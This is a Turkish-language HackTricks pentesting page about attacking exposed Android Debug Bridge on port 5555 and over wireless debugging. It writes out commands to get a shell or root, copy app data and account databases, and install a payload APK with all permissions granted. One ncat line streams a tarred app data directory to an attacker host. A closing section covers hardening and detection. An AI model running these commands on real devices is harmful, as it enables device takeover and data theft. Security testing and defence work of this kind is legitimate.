5555 - Android Debug Bridge
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
From the docs:
Android Debug Bridge (adb), Android tabanlı cihazlar ve emülatörlerle iletişim kurmak için bir komut satırı aracıdır. Tipik eylemler arasında paket yükleme, hata ayıklama ve cihazda etkileşimli bir Unix kabuğu alma bulunmaktadır.
- Tarihsel varsayılan TCP portu: 5555 (klasik "adb tcpip" modu).
- Modern Kablosuz hata ayıklama (Android 11+) TLS eşleştirme ve mDNS hizmet keşfi kullanır. Bağlantı portu dinamik olup mDNS aracılığıyla keşfedilir; 5555 olmayabilir. Eşleştirme, adb pair host:port ile yapılır ve ardından adb connect gelir. Aşağıdaki notlara saldırgan etkileri için bakın.
Örnek nmap parmak izi:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Bağlan
Eğer ADB'yi açık ve erişilebilir bulursanız, hızlıca bağlanmayı ve listelemeyi deneyin:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Eğer cihaz ADB kimlik doğrulamasını zorluyorsa (ro.adb.secure=1), önceden yetkilendirilmiş olmanız (USB RSA kimlik doğrulaması) veya Android 11+ Kablosuz hata ayıklama eşleştirmesini kullanmanız gerekecek (bu, cihazda görüntülenen bir kerelik kodu gerektirir).
- Bazı üretici görüntüleri, mühendislik/kullanıcı hata ayıklama derlemeleri, emülatörler, TV'ler, STB'ler ve geliştirme kitleri, kimlik doğrulaması olmadan veya adbd'nin root olarak çalıştığı durumlarda adbd'yi açığa çıkarır. Bu durumlarda genellikle doğrudan bir shell veya root shell'e geçersiniz.
Genel bir ADB komut referansı için, bakınız:
Hızlı Post-Exploitation
Shell'e sahip olduğunuzda, ayrıcalıkları ve SELinux bağlamını doğrulayın:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Verileri Listele ve Yakala
- Üçüncü taraf uygulamaları ve yolları listele:
pm list packages -3
pm path <pkg>
- Eğer root erişiminiz varsa (adb root veya su çalışır), /data'ya doğrudan erişebilirsiniz. Aksi takdirde, hata ayıklanabilir uygulamalar için run-as kullanmayı tercih edin:
# Root olmadan, hata ayıklanabilir bir uygulama için
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Root ile
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Kullanışlı sistem belgeleri (root gereklidir):
- /data/system/users/0/accounts.db ve ilgili AccountManager verileri
- /data/misc/wifi/ (eski sürümlerde ağ yapılandırmaları/anahtarlar)
- /data/data/
altında uygulamaya özel SQLite DB'leri ve shared_prefs
Bunu hassas bilgileri (örneğin, uygulama sırları) almak için kullanabilirsiniz. Chrome veri dikkate alımları hakkında notlar için, burada belirtilen konuyu inceleyin.
Kod yürütme ve yük teslimi
- Kurulum yapın ve çalışma zamanı izinlerini otomatik olarak verin:
adb install -r -g payload.apk # -g, manifestte belirtilen tüm çalışma zamanı izinlerini verir
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Etkinlikleri/hizmetleri/broadcast'ları doğrudan başlatın:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Port yönlendirme ve pivotlama
Root olmadan bile, adb yerel portları cihaz portlarına ve tersine yönlendirebilir. Bu, cihazda yerel olarak bağlı hizmetlere erişmek veya saldırgan hizmetlerini cihaza açmak için yararlıdır.
- Host->cihaz yönlendirme (cihazda yerel bir hizmete ev sahibi bilgisayarınızdan erişin):
adb forward tcp:2222 tcp:22 # Cihaz SSH çalıştırıyorsa (örneğin, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Uygulamanın yerel hata ayıklama sunucusunu aç
- Ters cihaz->host yönlendirme (cihazın ev sahibi bilgisayarınızdaki bir hizmete ulaşmasına izin verin):
adb reverse tcp:1080 tcp:1080 # Cihaz uygulamaları artık host:1080'e 127.0.0.1:1080 olarak ulaşabilir
- Soketler üzerinden dosya dışa aktarımı (sdcard yazma yok):
# Host'ta: dinle
ncat -lvp 9000 > dump.tar
# Cihazda: dizini tar olarak gönder (root veya run-as uygun olduğunda)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Kablosuz Hata Ayıklama (Android 11+)
Modern Android, cihaz tarafı eşleştirme ve mDNS keşfi ile TLS korumalı kablosuz hata ayıklama uygular:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Notlar
- Portlar dinamik; 5555 varsaymayın. mDNS hizmet adları şöyle görünür:
- _adb-tls-pairing._tcp (eşleştirme)
- _adb-tls-connect._tcp (eşleştirilmiş bağlantı)
- _adb._tcp (eski/normal)
- Eğer mDNS filtrelenmişse, klasik USB destekli etkinleştirme bazı sürümlerde hala çalışabilir:
adb tcpip 5555
ardındanadb connect <ip>:5555
(yeniden başlatmaya kadar).
Saldırgan etkileri: Cihazın UI'si ile etkileşimde bulunabiliyorsanız (örneğin, fiziksel erişim veya mobil MDM yanlış yapılandırması) Kablosuz hata ayıklamayı etkinleştirip eşleştirme kodunu görebilirseniz, kablo olmadan uzun süreli eşleştirilmiş bir ADB kanalı kurabilirsiniz. Bazı OEM'ler, eşleştirme olmadan mühendislik/geliştirme görüntülerinde ADB'yi TCP üzerinden açar—her zaman kontrol edin.
Güçlendirme / Tespit
Savunucular, erişilebilir herhangi bir adbd (TCP) için kritik risk olduğunu varsaymalıdır.
- Gerekmediğinde ADB ve Kablosuz hata ayıklamayı devre dışı bırakın. Geliştirici seçeneklerinde USB hata ayıklama yetkilendirmelerini iptal edin.
- Ağ politikasının güvenilmeyen segmentlerde gelen TCP/5555 ve mDNS tabanlı ADB keşfini engellediğinden emin olun.
- Kontrolünüz altındaki cihazlarda:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # TCP dinlemeyi devre dışı bırak (veya kullan: adb usb)
stop adbd; start adbd # daemon'ı yeniden başlat
- Kurumsal ağlarda
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
için mDNS kayıtlarını izleyin ve beklenmeyen 5555 dinleyicileri için uyarılar oluşturun. - Güvensiz sürümler için envanter:
getprop ro.debuggable
,ro.build.type
, vero.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
Referanslar
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, eşleştirme ve mDNS hizmet adları: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.